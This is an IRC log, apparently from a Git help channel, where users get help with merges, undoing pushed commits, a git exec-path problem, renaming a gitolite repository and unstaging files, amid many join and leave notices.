	# and have 5 and 3 different commit(s) each, respectively.	17:30
	→ acharlieh joined	17:30
soerenb	well, you branch tracks origin/i18n and not origin/master	17:30
qsuscs	aren’t there stats for this channel somewhere?	17:31
	→ Macaveli joined	17:32
soerenb	digitalice, if origin/i18n is the remote version of your local i18n, your probably want/need to force push the new version, but be aware of !rewrite	17:32
gitinfo	digitalice: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum	17:32
	← jottr_ left	17:32
	→ bvi joined	17:32
soerenb	digitalice, probably !lol is helpful	17:32
gitinfo	digitalice: A nifty view of branches, tags, and other refs: git log --oneline --graph --decorate --all	17:32
	→ mihaicris joined	17:32
	→ Gizburdt joined	17:33
	← lindenle left	17:33
	→ lilvinz joined	17:33
	→ mennea joined	17:33
	→ stiffi_ joined	17:33
	← vurma left	17:33
	← Suchit_ left	17:34
	← FofG left	17:34
	← marscher left	17:35
	← mihaicris left	17:35
	→ gfixler joined	17:35
	← hebz0rl left	17:36
	→ lsiv568 joined	17:36
	→ Suchit_ joined	17:36
	← stiffi left	17:37
	← pcypher_ left	17:37
	→ makesoda joined	17:37
	← xolubi left	17:38
	→ pcypher joined	17:38
	← cherwin left	17:38
	→ FofG joined	17:38
	→ alexwhitman joined	17:38
	→ ColKurtz joined	17:38
	→ palcu joined	17:39
digitalice	soerenb, mmm, im confused right now. I just want to merge origin/master into my branch i18n/master.	17:39
	← justinmburrous left	17:39
digitalice	merge origin/master latest changes into i18n branch and solve the conflicts	17:40
	→ jonmorehouse joined	17:40
	→ arthurvr joined	17:40
	→ solker_ joined	17:41
	→ hyperair joined	17:41
	← in_deep_thought left	17:42
	← jontmorehouse left	17:42
	→ in_deep_thought joined	17:43
	→ tristanp joined	17:43
	← makesoda left	17:43
	→ justinmburrous joined	17:44
	→ yaymukund joined	17:44
	← evil-twin left	17:45
	← sgen_ left	17:45
	→ jasonB joined	17:46
	← joo-_ left	17:46
	← jasonB left	17:46
	→ johnflux_ joined	17:46
	→ jbHat joined	17:46
	← dangerousdave left	17:46
	← lsiv568 left	17:46
	→ SebastianFlyte joined	17:47
	→ GinoMan joined	17:47
	→ joo-_ joined	17:48
	→ kopparam joined	17:48
	← johnflux left	17:48
	→ dangerousdave joined	17:48
	← davispuh left	17:48
	← JeanCarloMachado left	17:49
	→ ncthom91 joined	17:49
	← Macaveli left	17:49
	← WormDr1nk left	17:50
	← yaymukund left	17:50
	→ dccc_ joined	17:51
	← papegaaij left	17:51
	← shinnya left	17:51
	← nfk left	17:51
	→ liamkeily joined	17:51
	→ davispuh joined	17:51
	← johnflux_ left	17:51
	→ martinklepsch joined	17:52
	→ spareproject joined	17:52
	← kopparam left	17:52
	← thiago_ left	17:53
	← Vivekananda_y510 left	17:53
	→ PaulCapestany joined	17:54
	← Karpuragauram left	17:54
	→ thiago_ joined	17:55
	→ jpf joined	17:55
	→ Juzzika joined	17:56
	← davispuh left	17:56
	→ synchronous joined	17:58
	→ deuti joined	17:59
	→ jceb joined	17:59
	→ thibaultcha joined	18:00
	← marklite left	18:00
	→ nfk joined	18:00
	← deuti left	18:00
	→ logix812 joined	18:01
	← joo-_ left	18:02
	← mennea left	18:03
	→ mennea joined	18:03
	← jonmorehouse left	18:04
	→ akkad joined	18:04
	→ RogerWS joined	18:04
	→ sdrfnord1 joined	18:05
	← arthurvr left	18:05
	← JZv left	18:06
	→ treehug88 joined	18:08
	← RogerWS_ left	18:08
	→ arthurvr joined	18:09
	→ Errorical joined	18:09
	→ joshin4colours joined	18:09
	← martinklepsch left	18:09
	← nnyk_ left	18:10
	→ jonmorehouse joined	18:10
	→ BlaXpirit joined	18:11
	← mechanicalduck left	18:11
	→ mechanicalduck joined	18:12
	→ aswen joined	18:12
	→ paul424 joined	18:12
	← pagioss left	18:13
	← solker_ left	18:13
	← Manny left	18:13
	← kermit left	18:13
	→ Manny joined	18:13
	→ vanrysss joined	18:14
	thiago_ → thiago	18:14
	← justinmburrous left	18:15
	← svm_invictvs left	18:15
	← dangerousdave left	18:15
	← fabe left	18:16
	← lrvick left	18:16
	← [w_w] left	18:16
	→ jheg joined	18:17
	← jason237 left	18:18
	→ Tommy[D] joined	18:18
	→ kopparam joined	18:18
	→ codeman joined	18:19
	→ LeMike joined	18:19
	← akagr left	18:19
	← liamkeily left	18:19
	← JosephFerano left	18:20
	← mechanicalduck left	18:20
	→ lindenle joined	18:21
	← hahuang65 left	18:21
	→ mechanicalduck joined	18:21
	→ User458764 joined	18:22
	← codeman left	18:23
	← TeraJL left	18:24
	← jheg left	18:24
	← a_le left	18:24
	→ sandr8 joined	18:24
	← kopparam left	18:24
	← Guest78128 left	18:24
	→ liamkeily joined	18:24
	→ iamjarvo joined	18:25
	→ a_le joined	18:25
	← dardevelin left	18:26
	← User458764 left	18:26
	→ IlNominePatre joined	18:27
	stiffi_ → stiffi	18:28
	→ rdbell joined	18:28
	→ joshszep joined	18:29
	← liamkeily left	18:29
	← joshszep left	18:29
	→ liamkeily1 joined	18:29
	→ Fomina joined	18:29
	← sandr8 left	18:29
	← Sebtoast left	18:29
	→ Vile joined	18:29
	← a_le left	18:30
	← mechanicalduck left	18:30
	← baweaver left	18:31
	→ a_le joined	18:31
	→ mechanicalduck joined	18:31
	→ lsiv568 joined	18:31
	← mechanicalduck left	18:32
	→ justinmburrous joined	18:32
	→ mechanicalduck joined	18:32
	← lsiv568 left	18:32
	→ ncthom91_ joined	18:33
	← mechanicalduck left	18:33
	→ davispuh joined	18:33
	← mennea left	18:33
	→ sallesao joined	18:33
	→ mechanicalduck joined	18:33
	← mechanicalduck left	18:34
	→ P4_Denis joined	18:34
	→ hahuang65 joined	18:34
	→ leeN joined	18:34
	← mizu_no_oto left	18:34
	→ mechanicalduck joined	18:34
	→ t_dot_zilla joined	18:34
	← NoNMaDDeN left	18:35
	→ Tashi joined	18:35
t_dot_zilla	hello, i need to remove a commit which has been pushed	18:35
	← ncthom91 left	18:35
t_dot_zilla	can someone tell me how i can do that?	18:35
	← mechanicalduck left	18:35
	Tashi → Guest18621	18:35
	→ yaymukund joined	18:35
arthurvr	You probably want http://git-scm.com/docs/git-reset	18:35
soerenb	t_dot_zilla, have a look at !fixup and !rewrite	18:35
gitinfo	t_dot_zilla: So you lost or broke something or need to otherwise find, fix, or delete commits? Look at http://sethrobertson.github.com/GitFixUm/ for full instructions, or !fixup_hints for the tl;dr. Warning: changing old commits will require you to !rewrite published history!	18:35
	t_dot_zilla: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum	18:35
	← bvi left	18:36
arthurvr	and then to do a git push --force	18:36
t_dot_zilla	what about git revert?	18:36
	it was a merge commit too :/	18:36
	← jonyfive left	18:36
	← ncd\|leeN left	18:36
	→ xbrantes joined	18:36
	→ bvi joined	18:37
	→ refried_ joined	18:37
	→ WaReZ joined	18:37
	→ kermit joined	18:37
	← kermit left	18:37
	→ kermit joined	18:37
t_dot_zilla	oh lord, i realy screwed up my git now	18:37
	→ pagioss joined	18:37
_ikke_	What did you do?	18:37
t_dot_zilla	git revert 5c3edb487a2d04d313d2208128da868994480d40 -m 1	18:38
	lol, im going to just start again. i have the full diff	18:38
	→ mechanicalduck_ joined	18:38
	← P4_Denis left	18:39
	← maletor left	18:39
_ikke_	git reset --hard HEAD^1 would undo that revert	18:39
	At least, if it was comitted, if it wasn't, git reset --hard should be enough	18:39
	← RogerWS left	18:40
	← pierre1_ left	18:40
	→ mennea joined	18:40
	← mennea left	18:41
	→ mennea joined	18:42
	← jonmorehouse left	18:43
	← ColKurtz left	18:43
	← bvi left	18:44
	← carandraug left	18:44
	← iamjarvo left	18:44
	← kiran left	18:44
t_dot_zilla	_ikke_: how can i completely clear all commits from a branch?	18:46
	← ni__ left	18:46
	→ dort joined	18:46
	← sinkensabe left	18:46
	← in_deep_thought left	18:47
	→ shinnya joined	18:47
grawity	if by that you mean "how can I make the branch start at master again", try `git reset --hard master`	18:48
	← LeMike left	18:48
	→ NoNMaDDeN joined	18:48
	→ RogerWS joined	18:49
	← hahuang65 left	18:51
	→ hebz0rl joined	18:52
	→ sysvalve joined	18:52
	← eburcat left	18:53
	→ contorted joined	18:53
	← lindenle left	18:53
	← rdbell left	18:53
	→ eburcat joined	18:53
	← contorted left	18:53
	→ bvi joined	18:54
	→ rdbell joined	18:54
	← iliketurtles left	18:54
t_dot_zilla	maybe a better question is how do i copy a branch to mine	18:54
	← mechanicalduck_ left	18:55
	← bvi left	18:56
	→ lsiv568 joined	18:56
	← liamkeily1 left	18:56
	→ iamjarvo joined	18:56
	← Sasazuka left	18:56
	← miosx left	18:56
	← evildmp left	18:57
	→ bvi joined	18:57
_ikke_	cherry-pick can copy commits	18:57
	→ mustafavelioglu joined	18:57
	→ pierre1_ joined	18:57
	← EminenceHC left	18:58
	→ baweaver joined	18:58
	← joshin4colours left	18:59
	→ iliketurtles joined	18:59
	→ kotopies joined	18:59
	→ soulwaves joined	19:00
	← iliketurtles left	19:00
	→ Advocation joined	19:00
	← skylite left	19:01
	→ EminenceHC joined	19:01
	← jokke left	19:02
	→ upene joined	19:02
	→ liamkeily joined	19:02
	→ x0s_ joined	19:03
	→ mechanicalduck joined	19:03
	← rath left	19:03
	← justinmburrous left	19:03
	← bvi left	19:03
	← liamkeily left	19:04
	← epifanio left	19:04
	← johtso left	19:05
	→ ColKurtz joined	19:05
	← digitalice left	19:05
	← EminenceHC left	19:05
	→ ni__ joined	19:07
edwardly	Hello! I'm still having issues with a windows client using git-bash. A file shows up as untracked but unchanged, and as soon as git clean is done on it it shows up as changed with the status of "deleted"	19:07
	Is there any way to debug this?	19:07
	according to git check-ignore it isn't being ignored by anything	19:07
	← maestrojed left	19:07
	← yaymukund left	19:09
	→ LLaurent joined	19:09
	← lsiv568 left	19:10
	← dort left	19:10
	← mechanicalduck left	19:10
	← piccata left	19:10
	→ mechanicalduck joined	19:11
	← pcypher left	19:11
	← mechanicalduck left	19:11
	→ contorted joined	19:12
	→ mechanicalduck joined	19:12
	← vocifer left	19:12
	→ sinkensabe joined	19:13
	→ cek joined	19:14
cek	Hi. how do I move pointer to last master commit , so that "git merge master" wont' bring all previous changes in that branch?	19:15
	→ marklite joined	19:15
	→ marscher joined	19:15
	← Gizburdt left	19:16
t_dot_zilla	okay so i moved a ways back to previous commit	19:17
	← jayeshsolanki left	19:17
t_dot_zilla	but i want to add new commits	19:17
	there were undone	19:17
	how can this be done?	19:17
	→ hexagoxel joined	19:17
	← NoNMaDDeN left	19:17
	→ ciampix joined	19:18
	→ justinmburrous joined	19:18
	→ msankhala joined	19:19
t_dot_zilla	argg	19:19
	i did git merg HEAD sha-key	19:19
	← thiago left	19:19
	← mechanicalduck left	19:19
t_dot_zilla	and it brought all the other commits back	19:19
	← kotopies left	19:19
t_dot_zilla	i just wanted sha = ab56779	19:19
	← ciampix left	19:20
	marklite → markelite	19:20
	→ mechanicalduck joined	19:20
	→ in_deep_thought joined	19:20
	← mechanicalduck left	19:20
	→ mechanicalduck joined	19:21
	→ nnyk_ joined	19:21
	→ bvi joined	19:22
	← zhangxaochen left	19:22
	→ purak joined	19:22
	← bvi left	19:24
	→ mennea_ joined	19:24
	← mennea left	19:24
	→ vurma joined	19:25
	→ dangerousdave joined	19:25
	→ paddymahoney joined	19:25
	→ zhangxaochen joined	19:25
	→ bezet joined	19:27
	→ ghostlines joined	19:27
	→ veebers joined	19:29
	→ iliketurtles joined	19:29
	→ nnyk joined	19:29
	→ evil-twin joined	19:31
	← snuffeluffegus left	19:31
	→ kballou joined	19:31
	→ hguux joined	19:31
	← bezet left	19:31
	← nnyk_ left	19:31
	← paddymahoney left	19:32
	→ aidalgol joined	19:32
	→ Gizburdt joined	19:32
	→ hstefan joined	19:33
	← zhangxaochen left	19:33
	→ hahuang65 joined	19:33
	→ zhangxaochen joined	19:33
	→ jack_orange joined	19:33
	← robertt_dex left	19:34
	→ robertt_dex joined	19:34
	→ kotopies joined	19:34
	← sysvalve left	19:34
	→ yaymukund joined	19:35
	← Mixologic left	19:36
	→ ciampix joined	19:36
	→ AKK9 joined	19:36
	← refried_ left	19:37
	← GinoMan left	19:38
cek	damn, i don't understand anything... svn was such an easy tool to use.....	19:38
luto	try a !book	19:38
gitinfo	There are several good books available about git; 'Pro Git' is probably the best: http://git-scm.com/book but also look at !bottomup !cs !gcs !designers !gitt !vcbe and !parable	19:38
cek	how do i revert a git rebase?	19:39
	← Gizburdt left	19:40
txdv	if you have the sha, you can just check it out	19:40
	← ncthom91_ left	19:40
txdv	there is no need to revert anything	19:40
	→ ncthom91 joined	19:41
t_dot_zilla	the damn merge commits seem impossible to remove	19:41
cek	i guess i ll have to update production ref	19:41
	→ pcypher joined	19:42
cek	btw, how do I update production back to that sha after I did rebase ?	19:43
	← n-st left	19:43
	→ paddymahoney joined	19:43
hstefan	cek: you want something like a revert commit?	19:43
cek	Also, how do I invoke git in --dry-run mode? so that it doesn't merge and commit anything without my approval?	19:43
	hstefan: I don't need a revert, i want to undo production rebase	19:44
	← Manny left	19:45
	← nfk left	19:45
	← ncthom91 left	19:46
	→ revyd joined	19:46
	← pcypher left	19:47
	→ epifanio joined	19:47
	→ jason237 joined	19:47
	→ Gizburdt joined	19:48
	← justinmburrous left	19:48
	← Jackneill left	19:48
	← iliketurtles left	19:48
	← ciampix left	19:49
	→ ErKa joined	19:49
	→ kukks joined	19:50
cek	git reset --hard did its job of relocating pointer!	19:50
	← Advocation left	19:51
	← arthurvr left	19:51
	→ morphix0 joined	19:51
	← iamjarvo left	19:51
	→ kopparam joined	19:52
cek	Also, how do I mage "git merge master" skip all the commits I cherry-picked? I want it to output "nothing to merge".	19:52
	→ Marcus_ joined	19:52
	→ nitrospectide joined	19:52
	← baweaver left	19:52
nitrospectide	I have a workflow that involves a local repo, a hosted repo, and a web server repo. My usual flow is LOCAL -> HOSTED -> SERVER. All are using the Master branch. A little while back, I set up a copy of the same site at a subdomain so I could test some tweaks. I set up a repo in this dev subdomain, and pulled from the hosted repo - also the Master branch. Now, I realize I should have started a new dev branch locally, and pushed to that on the hosted repo, and	19:53
	→ mechanicalduck_ joined	19:54
	→ sinkensa_ joined	19:54
moritz	nitrospectide: truncated after "the hosted repo, and"	19:54
	← SjB left	19:55
	← Gizburdt left	19:55
	→ dort joined	19:56
	← ni__ left	19:56
	← punchagan left	19:56
	← sinkensabe left	19:56
	← mechanicalduck left	19:56
	→ justinmburrous joined	19:57
	→ mechanicalduck joined	19:57
	← jds left	19:57
	← jbHat left	19:57
	← kotopies left	19:57
	→ GinoMan joined	19:58
cek	nitrospectide: use svn, man, you'll save nerves	19:58
	← mustafavelioglu left	19:58
	← pheaver left	19:58
	→ nnyk_ joined	19:59
	→ EminenceHC joined	20:00
	→ vital joined	20:00
	← mechanicalduck_ left	20:00
	→ ni__ joined	20:00
	← dort left	20:01
	← mechanicalduck left	20:01
	← nnyk left	20:02
	← xSmurf left	20:02
	← Junior left	20:02
	→ Fabioagain joined	20:02
	← akiva left	20:02
	← Fabioagain left	20:02
	→ ciampix joined	20:03
	→ ropav joined	20:03
	→ Fabioagain joined	20:03
	→ baweaver joined	20:03
	→ cagedwisdom joined	20:04
	→ maestrojed joined	20:04
	← mennea_ left	20:04
	← hcc23 left	20:05
nitrospectide	moritz: … pulled from THAT to my dev subdomain. Then I could merge locally when I am ready, and push to Master. That way, Master would always flow to the live site, and the Dev branch would always flow to the dev subdomain site. The problem is, I don't know how to get from where I am (everything using Master) to where I want to be (live site using Master, dev site using dev branch). What do I need to do?	20:05
	→ mennea joined	20:05
	→ ncthom91 joined	20:05
	→ hcc23 joined	20:05
	← hidekin left	20:05
	← mennea left	20:05
	→ mennea joined	20:06
	→ alvaro_o joined	20:06
	← D-Boy left	20:06
	← monokrome left	20:06
	→ lowkeyliesmyth joined	20:06
	→ thiago joined	20:06
	→ kaendfinger joined	20:07
	← morphix0 left	20:07
	→ tranzfus_ joined	20:07
	→ morphix0 joined	20:08
	← contorted left	20:08
	← vanrysss left	20:09
	← Tommy[D] left	20:09
	← kopparam left	20:09
	← SumDude left	20:09
	→ nnyk joined	20:09
	→ kopparam joined	20:10
	← aidalgol left	20:10
	← tranzfuse left	20:10
	← nnyk_ left	20:10
	→ aidalgol joined	20:11
	← in_deep_thought left	20:11
	→ mechanicalduck joined	20:12
	→ jonmorehouse joined	20:12
	→ Advocation joined	20:13
	→ pheaver joined	20:13
	→ Bash776 joined	20:14
	← kopparam left	20:14
	→ in_deep_thought joined	20:17
	→ xSmurf joined	20:18
	→ tesaf joined	20:19
	← morphix0 left	20:20
	← Robarelli left	20:22
	→ D-Boy joined	20:23
	→ mustafavelioglu joined	20:24
	→ jiskiras joined	20:25
	→ jargon joined	20:25
	→ sandr8 joined	20:25
	← gyeates left	20:26
	← dangerousdave left	20:26
	→ bartlomiej_lewan joined	20:26
	← petersr left	20:27
	→ mechanicalduck_ joined	20:27
	→ pcypher joined	20:27
	← justinmburrous left	20:27
	→ dangerousdave joined	20:27
	→ mihaicris joined	20:27
	→ mihaicris_ joined	20:28
bartlomiej_lewan	Hey guys, I have a few questions about how git works. If I understand correctly, when I push something new, the repo that I am pushing to checks to see which objects are not there, to later send only the new ones	20:28
	← mihaicris left	20:28
bartlomiej_lewan	Am I correct so far?	20:28
	→ jarlopez joined	20:28
_ikke_	bartlomiej_lewan: It's based on refs / commits	20:29
	← mechanicalduck left	20:29
	← mechanicalduck_ left	20:29
	← jarlopez left	20:29
	→ Robarelli joined	20:30
bartlomiej_lewan	_ikke_: I am trying to solve a small problem that has happened at the repo I am working at, a file has been commited and pushed that should not be there	20:30
	→ jarlopez joined	20:30
	← sandr8 left	20:30
jarlopez	Hey peeps. I can only run `git fetch` as sudo, receiving the fatal error "Unable to find remote helper for 'https'". What to do? curl-devel is installed, and I just yum reinstalled git	20:30
	→ tranzfuse joined	20:30
bartlomiej_lewan	I have removed all with git filter-branch	20:30
_ikke_	jarlopez: Does that happen when you run git fetch as root, or when you don't?	20:30
	→ sorenb joined	20:30
LLaurent	bartlomiej_lewan, Try adding the file to .gitignore. There must also be a way to remove all traces of a file if it contains confidential info (i.e. db credentials etc)	20:31
_ikke_	bartlomiej_lewan: objects aren't removed from the server when you push new history without the object	20:31
	→ JGarrido joined	20:31
bartlomiej_lewan	but I am wondering if the commit is still somewhere in the remote repository, when I pushed with -f	20:31
	→ buffal0 joined	20:31
jarlopez	_ikke_: Nope, `git fetch` as root fetches correctly	20:31
_ikke_	bartlomiej_lewan: The commit / tree and blob objects are still there	20:31
	→ iamjarvo joined	20:31
jarlopez	_ikke_: As me, it fails	20:32
_ikke_	bartlomiej_lewan: But not being referenced anymore (if the filter-branch went correctly)	20:32
	← sitology left	20:32
_ikke_	jarlopez: try GIT_TRACE=1 git fetch	20:32
	← paulweb515 left	20:32
bartlomiej_lewan	_ikke_: Yes, but is there a way to checkout the file? If somebody really wants to see it?	20:32
	← pantsman- left	20:32
	→ teran joined	20:32
qsuscs	bartlomiej_lewan: only if they have direct access to the server (i.e. to the file system)	20:32
_ikke_	bartlomiej_lewan: Only if that person has direct access to the server	20:32
	Not through the git protocol	20:33
	→ acharlie_ joined	20:33
	→ Guest55085 joined	20:33
bartlomiej_lewan	So git clone does not include the objects that do not have a reference?	20:33
_ikke_	bartlomiej_lewan: correct	20:33
	→ lsiv568 joined	20:33
	← Griffon27 left	20:33
	← tranzfus_ left	20:33
	← pierre1_ left	20:33
jarlopez	_ikke_: "run command 'git-remote-https' 'origin' 'https://<username>:<password>@github....'"	20:33
	← jonmorehouse left	20:33
jarlopez	_ikke_: Then the same fatal error	20:33
	Guest55085 → sitology	20:33
	← Advocation left	20:34
_ikke_	which git-remote-https	20:34
	(command)	20:34
bartlomiej_lewan	_ikke_, qsuscs: ok, that explains it, thanks!	20:34
	← x0s_ left	20:34
jarlopez	_ikke_: Haha I got you. You seem to have found the issue, it doesn't exist in my current $PATH	20:34
	← jason237 left	20:34
qsuscs	jarlopez: which should be actually correct	20:34
_ikke_	:-)	20:34
	→ P4_Denis joined	20:34
	← mennea left	20:34
_ikke_	it is in git-core	20:35
qsuscs	jarlopez: hmm. compare root’s path to yours please	20:35
_ikke_	Which usually isn't in your $PATH	20:35
	← Errorical left	20:35
	→ mennea joined	20:35
	← sorenb left	20:35
	← bartlomiej_lewan left	20:35
qsuscs	idea: two different versions of git, like /usr/local/ and /usr, and root has the right one first in $PATH	20:35
	← acharlieh left	20:35
	→ a_le_ joined	20:36
	← a_le left	20:36
	← jiskiras left	20:36
	← t_dot_zilla left	20:36
_ikke_	wasn't there a way for git to show it's exec path?	20:36
	→ vipkilla joined	20:37
	→ sorenb joined	20:37
	vipkilla → t_dot_zilla	20:37
qsuscs	_ikke_: hmmmm there’s $GIT_EXEC_PATH … but if it’s unset, it uses some default	20:37
_ikke_	yeah	20:37
	for me its /usr/lib/git-core	20:37
jarlopez	qsuscs, _ikke_ : git --exec-path	20:37
	sorenb → soerenb	20:37
_ikke_	ah, I thought that was only for setting it	20:37
	what does it return?	20:38
	→ jonmorehouse joined	20:38
jarlopez	qsuscs, _ikke_ : Root's exec-path is /usr/libexec/git-core, mine's in /usr/LOCAL/libexec/git-core	20:38
_ikke_	Ok	20:38
	so like qsuscs said	20:38
	different installs	20:38
jarlopez	Yeah	20:38
	Will setting mine to match root's exec-path fix it?	20:38
	← zumba_addict left	20:38
qsuscs	jarlopez: likely not, fix $PATH	20:39
	← cek left	20:39
_ikke_	Do you have exec rights on /usr/lib/git-core?	20:39
	the files in there	20:39
	qsuscs: that shouldn't be in $PATH	20:39
jarlopez	_ikke_: I do	20:39
_ikke_	jarlopez: try git --exec-path=/usr/libexec/git-core fetch	20:39
qsuscs	_ikke_: i mean, i guess he has /usr/local/bin:… as $PATH and root /usr/bin:…	20:40
	← P4_Denis left	20:40
_ikke_	qsuscs: Perhaps his system was setup like that?	20:40
jarlopez	_ikke_: That works just fine. Looks like I need to point my exec-path to /usr/libexec	20:40
	→ tbxyz joined	20:40
_ikke_	do something like GIT_EXEC_PATH=.. in your $TERMrc	20:40
	← sitology left	20:41
qsuscs	_ikke_: sounds rather like an install bypassing the package manager—most distros do not add /usr/local/bin to root’s path	20:41
	→ LeMike joined	20:41
	← t_dot_zilla left	20:42
	→ Guest12297 joined	20:42
	← zhangxaochen left	20:43
jarlopez	_ikke_, qsuscs: Thanks, peeps, exporting it to /usr/libexec/git-core did it	20:43
	→ WormDrink joined	20:43
	← Suchit_ left	20:43
	→ zhangxaochen joined	20:44
	→ Suchit_ joined	20:44
	← Suchit_ left	20:44
	→ dort joined	20:45
	← dangerousdave left	20:45
	← ni__ left	20:45
	← mihaicris_ left	20:45
	→ Suchit_ joined	20:45
	→ pierre1_ joined	20:46
	→ Sasazuka joined	20:46
	→ justinmburrous joined	20:46
	← aswen left	20:47
	← xbrantes left	20:48
	→ xbrantes joined	20:48
	← jonmorehouse left	20:49
	← jack_orange left	20:49
	← Suchit_ left	20:49
	← studmuf left	20:50
	→ jonmorehouse joined	20:50
	→ ni__ joined	20:50
sokoll	hey folks, I have a question about renaming git repos	20:51
	← iamjarvo left	20:51
	→ Manny joined	20:51
	← dort left	20:51
xbrantes	Hi, I would like to know how to remove a file from previous commits, can anyone help me out?	20:51
	← Manny left	20:52
	← spareproject left	20:52
_ikke_	sokoll: You can just rename them, git has no reference to them	20:52
	xbrantes: last commit, ealier commits?	20:52
sokoll	_ikke_: well, the git server uses gitolite, but it looks like the particular repo that I've been asked to rename isn't in the gitolite config	20:53
	→ hoijui joined	20:54
	← ni__ left	20:54
	→ ni__ joined	20:55
	← baweaver left	20:55
	→ iamjarvo joined	20:56
	← iamjarvo left	20:56
	← sinkensa_ left	20:56
	→ iamjarvo joined	20:56
	→ Manny_ joined	20:56
	→ tpollard joined	20:57
	→ baweaver joined	20:57
	→ yosito joined	20:57
	→ punchagan joined	20:57
	→ aswen joined	20:57
sokoll	anyone on here able to help me?	20:57
xbrantes	earlier	20:57
	sry about the delay	20:57
xender	xbrantes: First, you may need to !rewrite if you've pushed those commits	20:58
gitinfo	xbrantes: Rewriting public history is not recommended. Everyone who has pulled the old history have to do work (and you'll have to tell them to), so it's infinitely better to just move on. If you must, you can use `git push -f <remote> <branch>` to force (and the remote may reject that, anyway). See http://goo.gl/waqum	20:58
	← akitada__ left	20:58
	← jarlopez left	20:58
	← punchagan left	20:58
	← baweaver left	20:58
xender	xbrantes: You can use rebase, filter-branch or BFG repo cleaner, depending on needs (scale of rewriting)	20:58
	← alphonse23 left	20:59
	← ggherdov left	20:59
aswen	hi there, I've just commited with -a while I wanted to commit only one file. Is there a "uncommit" or so that doesn't break my other work?	20:59
qsuscs	aswen: have you pushed already?	20:59
	→ zumba_addict joined	20:59
	→ baweaver joined	21:00
xender	sokoll: I don't know much about gitolite, but won't replacing every occurrence of old repo name with new one in config (+renaming the folder ofc.) do?	21:00
	← angico left	21:00
	← juvenal left	21:00
	→ jottr_ joined	21:00
xbrantes	thanks, I'm checking the link	21:00
	→ alphonse23 joined	21:00
	→ akitada__ joined	21:00
xender	aswen: git reset --mixed or --soft	21:00
	→ angico joined	21:01
	← pheaver left	21:01
sokoll	xender: I'm not sure	21:01
	← tesaf left	21:01
sokoll	xender: if the repo was initially created using gitolite, I think you have to rename it through gitolite, but I'm not sure how it was created initially. It seems odd that it isn't in the gitolite.conf file when all the other repos for that company are...	21:02
	← dccc_ left	21:03
	← ciampix left	21:03
	← ni__ left	21:03
aswen	qsuscs: no I haven't	21:03
	will try what xender suggests	21:03
qsuscs	aswen: man git commit --amend	21:03
gitinfo	aswen: the git-commit manpage is available at http://jk.gs/git-commit.html	21:03
qsuscs	aswen: in case it’s the topmost/latest commit	21:03
aswen	it is	21:04
	can --ammend do that? wauw	21:04
	let's try...	21:04
	← souther left	21:04
aswen	brb	21:04
	← cannonball left	21:04
	← zumba_addict left	21:05
	← in_deep_thought left	21:05
	→ Sample joined	21:05
	← FunkyAss left	21:05
xender	sokoll: Don't do that if breaking something will be bad, but please have in mind that git is not that black box. I don't know Gitolite, but it may be that "creating repo through gitolite" is only convenience feature and doesn't enforce renaming through it.	21:05
	→ paulweb515 joined	21:05
	→ souther joined	21:05
	← it0a left	21:06
sokoll	xender: perhaps	21:06
	← dgpalmer left	21:06
	→ Marcus___ joined	21:06
	← zapb_ left	21:06
	← vurma left	21:07
	→ punchagan joined	21:07
	→ dangerousdave joined	21:08
qsuscs	sokoll: http://gitolite.com/gitolite/gitolite.html#removingrenaming-a-repo	21:08
aswen	xender: thanx! that worked great with --soft	21:08
	← jonmorehouse left	21:08
	→ kerrick joined	21:08
sokoll	qsuscs: thanks :) problem is though, that the repo isn't in the gitolite conf, but from the users request, they think that it is	21:08
	→ dgpalmer joined	21:09
aswen	I first tried --amend but I didn't find a way to remove the files I didn't want to commit from that commit	21:09
	← Marcus_ left	21:09
	← baweaver left	21:09
	→ jonmorehouse joined	21:09
xender	aswen: You have to unstage it. I think that git reset <filename> was the right command...	21:09
	→ ggherdov joined	21:10
qsuscs	xender: git rm --cached … and there was something with git checkout --	21:10
	→ JohnBat26 joined	21:10
	← Bash776 left	21:10
qsuscs	xender: now i’m getting confused as well.	21:10
xender	aswen: I use git gui to stage/unstage files/hunks/lines most of the time, so I'm not sure about commandline unstaging	21:10
	← robertt_dex left	21:10
xender	aswen, qsuscs: Oh, sorry. It was "removing files", not "unstaging changes"...	21:11
	→ baweaver joined	21:12
	← tristanp left	21:13
	→ zumba_addict joined	21:13
	→ pheaver joined	21:13
	← nanga left	21:13
	← mhi^ left	21:13
xender	aswen: Well, removing the file in git can be done either by git rm --cached (without deleting file in working copy), or - if you want to remove file both in working copy and the index - git rm (without flag) or normal rm + git add	21:13
	→ javster joined	21:14
	→ KrunchyAl joined	21:14
	← zumba_addict left	21:14
qsuscs	git—it’s all about choice	21:14
	← KrunchyAl left	21:14
xender	aswen: Standard "git tracks changes, not files" stuff. Deletion of a file is also a change, so you need to git add it.	21:14
	← IlNominePatre left	21:14
	← Fomina left	21:14
xender	qsuscs: :P	21:14
	← msmith left	21:15
xender	I wanted to say that git rm or git mv are convenience commands, no magic inside	21:15
qsuscs	mercurial has hg addremove	21:15
xender	Is there a hg add command in there then?	21:15
qsuscs	but mercurial doesn’t have an index, so hg add/remove is like svn add/remove	21:15
xender	It doesn't have? o_O	21:16
	← Yomi left	21:16
xender	That's quite a big difference	21:16
	→ in_deep_thought joined	21:16
	→ mhi^ joined	21:16
qsuscs	xender: it has the dirstate, which is basically the same, but you don’t handle it	21:16
xender	What do you mean by "you don't handle it"?	21:16
qsuscs	xender: hg init; vim file; hg add file; hg commit; while true; do vim file; hg commit; end	21:16
	← hcc23 left	21:17
	→ nanga joined	21:17
xender	Ok...	21:17
	→ iliketurtles joined	21:17
qsuscs	xender: the dirstate represents the new commit, just like the index, but you don’t change it by yourself (like git add and stuff do)	21:17
	← justinmburrous left	21:17
xender	No way to explicitly tell "commit only those hunks/lines"?	21:18
	Or do you have to specify all of them in actual commit command in some interactive way?	21:18
	→ Drool joined	21:18
qsuscs	xender: there is the hg record extension (which works like darcs record, that is, git add -p and git commit tied together), and some weird stuff called queues	21:18
	← Kicer86 left	21:18
xender	Hmm	21:19
	← Droolio left	21:19
qsuscs	or shelve extension (aka git stash)	21:19
xender	I know almost nothing about Darcs. Nor about queues	21:19
	→ Yomi joined	21:20
	← Gregoire_ left	21:20
xender	I've heard of "floating patches" in hg	21:20
	→ studmuf joined	21:21
